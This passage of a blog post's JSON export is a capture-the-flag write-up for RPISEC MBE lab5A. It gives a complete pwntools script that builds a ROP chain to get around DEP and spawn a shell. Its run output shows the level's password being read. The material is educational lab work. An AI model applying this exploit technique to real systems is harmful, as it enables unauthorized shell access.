&quot;\/R\/ pop*;pop*;ret&quot;\r\n  ...\r\n  0x080bf69f             5b  pop ebx\r\n  0x080bf6a0             5e  pop esi\r\n  0x080bf6a1             c3  ret\r\n  ...\r\n\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ int 0x80&quot;\r\n  ...\r\n  0x080d92c3           cd80  int 0x80\r\n  ...\r\n\r\n\r\n<\/pre><\/div>\r\n\r\n<p>As already said there are thousands of ways to do things. I did not find a gadget which zeros out <code>ecx<\/code> so I used two gadgets, which will do the same:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\r\n  mov ecx, 0xffffffff\r\n  inc ecx\r\n\r\n<\/pre><\/div>\r\n\r\n<p>After our ROP-chain is built, the last thing to do is to store the string <code>\"\/bin\/sh\"<\/code> somewhere in the buffer. I decided to use index 31 and 32.<\/p>\r\n<p>Summing it all up we can construct the final python-script again using <code>pwntools<\/code>:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab5A@warzone:\/levels\/lab05$ cat \/tmp\/exploit_lab5A.py\r\nfrom pwn import *\r\nimport sys\r\n\r\n# gadgets\r\n_add_esp_3xpop               = 0x08079869\r\n_pop_edi                     = 0x08096f85\r\n_ecx_ffffffffh               = 0x0805befc\r\n_inc_ecx                     = 0x080e9e40\r\n_pop_edx_xor_eax_eax_pop_edi = 0x080695a5\r\n_ret                         = 0x08096f86\r\n_add_eax_bh_pop_edi          = 0x08096f82\r\n_pop_ebx_pop_esi             = 0x080bf69f\r\n_int_80h                     = 0x080d92c3\r\n\r\naddr_binsh  = 0xbffff5e4\r\naddr_binsh -= int(sys.argv&#x5B;1], 16)\r\n\r\ndef store(p, idx, value, skipLastRecv = False):\r\n  p.sendline(\"store\")\r\n  p.recv(100)\r\n  p.sendline(str(value))\r\n  p.recv(100)\r\n  p.sendline(str(idx))\r\n  if (not skipLastRecv): p.recv(100)\r\n\r\ndef quit_prog(p):\r\n  p.sendline(\"quit\")\r\n\r\np = process(\".\/lab5A\")\r\np.recv(500)\r\n\r\nstore(p, 31, 0x6e69622f)     # store \/bin\/sh\r\nstore(p, 32, 0x0068732f)     # at 0xbffff5e4 (gdb)\r\n\r\nidx_ret_addr = 4294967285 # -11\r\nidx = 1\r\n\r\nstore(p, idx, _ecx_ffffffffh) # overwrite return address\r\nstore(p, idx+1, _pop_edi)\r\nidx += 3\r\n\r\nstore(p, idx, _inc_ecx)\r\nstore(p, idx+1, _pop_edi)\r\nidx += 3\r\n\r\nstore(p, idx, _pop_edx_xor_eax_eax_pop_edi)\r\nstore(p, idx+1, 0x0)\r\nidx += 3\r\n\r\nstore(p, idx, _ret)\r\nstore(p, idx+1, _add_eax_bh_pop_edi)\r\nidx += 3\r\n\r\nstore(p, idx, _pop_ebx_pop_esi)\r\nstore(p, idx+1, addr_binsh)\r\nidx += 3\r\n\r\nstore(p, idx, _int_80h)\r\n\r\nstore(p, idx_ret_addr, _add_esp_3xpop, True)\r\np.interactive()\r\n\r\n<\/pre><\/div>\r\n\r\n<p>As usual I added an offset which can be passed as an argument to the script since the stack addresses vary a little bit.<\/p>\r\n<p>After trying different offsets, <code>0x50<\/code> finally worked:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab5A@warzone:\/levels\/lab05$ python \/tmp\/exploit_lab5A.py 0x50\r\n&#x5B;+] Starting program '.\/lab5A': Done\r\n&#x5B;*] Switching to interactive mode\r\n$ whoami\r\nlab5end\r\n$ cat \/home\/lab5end\/.pass\r\nbyp4ss1ng_d3p_1s_c00l_am1rite\r\n\r\n<\/pre><\/div>\r\n\r\n<p>Done! \ud83d\ude42 The final password for lab05 is <code>byp4ss1ng_d3p_1s_c00l_am1rite<\/code>.<\/p>\r\n<hr>","protected":false},"excerpt":{"rendered":"<p>In the last writeup we used different format string vulnerabilites in order to exploit the provided binaries. This writeup continues with lab05 which introduces DEP and ROP. As usual there are three levels ranging from C to A: &#8211;&gt; lab5C &#8211;&gt; lab5B &#8211;&gt; lab5A<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,7],"tags":[8,9,13,10,11,12,14],"class_list":["post-366","post","type-post","status-publish","format-standard","hentry","category-rpisec-mbe","category-writeup","tag-assembly","tag-binary","tag-elf","tag-pwn","tag-r2","tag-reversing","tag-x86"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/366"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=366"}],"version-history":[{"count":38,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/366\/revisions"}],"predecessor-version":[{"id":1283,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/366\/revisions\/1283"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=366"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=366"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=366"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}